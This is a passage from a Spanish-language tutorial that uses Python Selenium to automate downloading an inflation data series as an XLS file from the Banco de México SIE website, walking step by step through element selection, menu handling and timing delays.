&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y con eso podemos finalmente arrancar el driver. Al ejecutar el siguiente código se abrirá una ventana nueva de Google Chrome y se dirigirá a la URL almacenada en la variable &lt;code&gt;url&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;webdriver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Chrome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;opciones&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora obtenemos todos los elementos &lt;code&gt;&amp;lt;input&amp;gt;...&amp;lt;/input&amp;gt;&lt;/code&gt; de la página. Los guardaremos en la variable &lt;code&gt;inputs&lt;/code&gt;. La forma de encontrarlos es mediante el método &lt;code&gt;find_elements_by_tag_name()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;inputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_elements_by_tag_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A continuación los filtramos para quedarnos únicamente con aquellos cuyo tipo (type) es &lt;code&gt;checkbox&lt;/code&gt;. Para eso usamos el método &lt;code&gt;get_attribute()&lt;/code&gt; (pues el tipo es un atributo de la etiqueta HTML; existe un método análogo para obtener propiedades, se llama &lt;code&gt;get_property()&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;checkboxes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_attribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;checkbox&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora iteramos sobre la lista &lt;code&gt;checkboxes&lt;/code&gt; para asegurarnos de que todos queden sin seleccionar. Para ello usamos el método &lt;code&gt;is_selected()&lt;/code&gt;, que devuelve &lt;code&gt;True&lt;/code&gt; si el elemento está seleccionado y &lt;code&gt;False&lt;/code&gt; en caso contrario. En caso de que esté seleccionado, invocamos el método &lt;code&gt;click()&lt;/code&gt; para anular la selección:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;checkbox&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;checkboxes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;checkbox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_selected&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;checkbox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lo que queremos es que únicamente el checkbox de la serie "Indicador subyacente fundamental" quede seleccionado. Usando el inspector de elementos de Chrome, nos damos cuenta que dicho elemento tiene el ID &lt;code&gt;nodo_0_1_0_SP74825&lt;/code&gt;. Así, podemos usar el método &lt;code&gt;find_element_by_id()&lt;/code&gt; para encontrarlo y darle click:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;checkbox_target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;nodo_0_1_0_SP74825&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;checkbox_target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Así hemos llegado a este punto:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FP7mpavG.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2FP7mpavG.png" alt="Todos los elementos sin seleccionar"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ahora necesitamos abrir la caja de opciones de "Exportar series". Nuevamente empleamos el inspector de Chrome para descubrir que el ID del botón es &lt;code&gt;consultaSeriesCarritoToggleAcc&lt;/code&gt;. Lo guardaremos en la variable &lt;code&gt;botón_expandir&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;boton_expandir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;consultaSeriesCarritoToggleAcc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para verificar si está abierto o no, usamos una propiedad llamada &lt;code&gt;aria-expanded&lt;/code&gt;. Si su valor es &lt;code&gt;"true"&lt;/code&gt;, quiere decir que la caja de opciones está abierta, en caso contrario es &lt;code&gt;"false"&lt;/code&gt;. Evidentemente en este caso está cerrada, pero por seguridad incluiremos esta verificación extra en nuestro código:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;boton_expandir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_property&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aria-expanded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;boton_expandir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listo, la caja de opciones para exportar las series está abierta. Ahora identificamos los elementos que necesitaremos manipular dentro de esta caja (para obtener los IDs seguimos usando el inspector de Chrome):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2F80FC13B.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2F80FC13B.png" alt="Caja de opciones de descarga de series"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;El selector del periodo inicial es un elemento &lt;code&gt;&amp;lt;select&amp;gt;...&amp;lt;/select&amp;gt;&lt;/code&gt; con ID &lt;code&gt;anoInicial&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El selector del periodo final es un elemento &lt;code&gt;&amp;lt;select&amp;gt;...&amp;lt;/select&amp;gt;&lt;/code&gt; con ID &lt;code&gt;anoFinal&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El botón para seleccionar el formato de exportación de datos tiene ID &lt;code&gt;seleccionFormato&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El elemento del menú desplegable que se abre al dar clic en el botón para seleccionar formato que corresponde al archivo XLS tiene ID &lt;code&gt;seleccionFormatoXLS&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vamos a asociar a diferentes variables cada uno de estos elementos para poder manipularlos. En el caso de los elementos &lt;code&gt;&amp;lt;select&amp;gt;...&amp;lt;/select&amp;gt;&lt;/code&gt; usaremos la clase &lt;code&gt;Select&lt;/code&gt; que importamos al inicio:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;periodo_inicial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;anoInicial&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;periodo_final&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;anoFinal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;boton_formato&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;seleccionFormato&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;boton_xls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;seleccionFormatoXLS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora elegimos como fecha inicial "Todo". Una de las ventajas de usar la clase &lt;code&gt;Select&lt;/code&gt; es que permite buscar los elementos &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; del tag por ID, por valor o por el texto mostrado. En nuestro caso buscaremos por texto mostrado. Para ello usamos el método &lt;code&gt;select_by_visible_text()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;periodo_inicial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_by_visible_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Todo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para la fecha final también elegimos la opción cuyo texto es "Todo":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;periodo_final&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select_by_visible_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Todo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A continuación verificamos que el menú desplegable de los diferentes formatos de exportación esté cerrado, en cuyo caso lo abrimos. Para ello volvemos a verificar la propiedad &lt;code&gt;aria-expanded&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;boton_formato&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_property&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aria-expanded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;boton_formato&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y, finalmente, damos clic en el botón para descargar nuestro archivo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;boton_xls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En este punto el driver de Google Chrome debe descargar el archivo de Excel con las características que seleccionamos en el mismo directorio donde se encuentra nuestro script de Python. Solamente resta cerrar el driver:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;quit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Poniendo todo junto &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Si hemos ejecutado los comandos anteriores uno a uno, de forma pausada, no debimos tener ningún problema en llegar hasta el paso final. Pero si ponemos todos los comandos juntos en un archivo &lt;code&gt;.py&lt;/code&gt; y lo ejecutamos, probablemente nos encontremos con errores que nos indican que ciertos elementos (como los selectores de periodos o el botón de descargar como XLS) no están disponibles o no se encuentran. Esto es debido a una particularidad de la página del SIE: tiene animaciones. Al dar clic para expandir la caja de opciones para descargar las series, ésta no se muestra de inmediato, sino que se despliega lentamente, de arriba hacia abajo, como una persiana. Por lo tanto, como la velocidad de ejecución del script de Python es más rápida que la animación, busca los elementos dentro de la caja de opciones antes de que estén completamente cargados en el DOM de la página.&lt;/p&gt;

&lt;p&gt;Para resolver este inconveniente es que importamos la función &lt;code&gt;sleep()&lt;/code&gt; al inicio. Esta función pausa la ejecución del programa durante el número de segundos indicado, y así nos permite garantizar que al momento de avanzar, los elementos del DOM estén completamente cargados y el script no devuelva errores.&lt;/p&gt;

&lt;p&gt;Así es como se ve la implementación completa de nuestro script de automatización, con las llamadas a &lt;code&gt;sleep()&lt;/code&gt; en lugares estratégicos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Importamos las librerías necesarias
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;selenium&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;webdriver&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;selenium.webdriver.support.ui&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Select&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="c1"&gt;# Guardamos el directorio del script y la URL a la que queremos que se dirija el driver
&lt;/span&gt;&lt;span class="n"&gt;cwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://www.banxico.org.mx/SieInternet/consultarDirectorioInternetAction.do?sector=8&amp;amp;accion=consultarCuadro&amp;amp;idCuadro=CP194&amp;amp;locale=es&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;# Establecemos como directorio de descarga el mismo que el del script
&lt;/span&gt;&lt;span class="n"&gt;opciones&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;webdriver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ChromeOptions&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;prefs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;download.default_directory&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;opciones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_experimental_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;prefs&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Lanzamos el driver
&lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;webdriver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Chrome&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;opciones&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Buscamos todos los elementos &amp;lt;input&amp;gt;...
&lt;/span&gt;&lt;span class="n"&gt;inputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_elements_by_tag_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;input&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# ... y los filtramos para quedarnos sólo con los que son de tipo "checkbox"
&lt;/span&gt;&lt;span class="n"&gt;checkboxes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_attribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;checkbox&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Nos aseguramos de que ninguno esté seleccionado
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;checkbox&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;checkboxes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;checkbox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_selected&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;checkbox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Elegimos el checkbox de la serie que queremos y nos aseguramos que sí esté seleccionado
&lt;/span&gt;&lt;span class="n"&gt;checkbox_target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;nodo_0_1_0_SP74825&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;checkbox_target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Identificamos el botón para expandir la caja de opciones de descarga de las series
&lt;/span&gt;&lt;span class="n"&gt;boton_expandir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;consultaSeriesCarritoToggleAcc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Si la caja no está abierta, la abrimos dándole clic
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;boton_expandir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_property&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aria-expanded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;boton_expandir&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Aquí conviene pausar el script, pues la caja de opciones tarda en abrirse debido a la animación
&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Identificamos los controles a manipular dentro de la caja
&lt;/span&gt;&lt;span class="n"&gt;periodo_inicial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;driver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_element_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;anoInicial&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
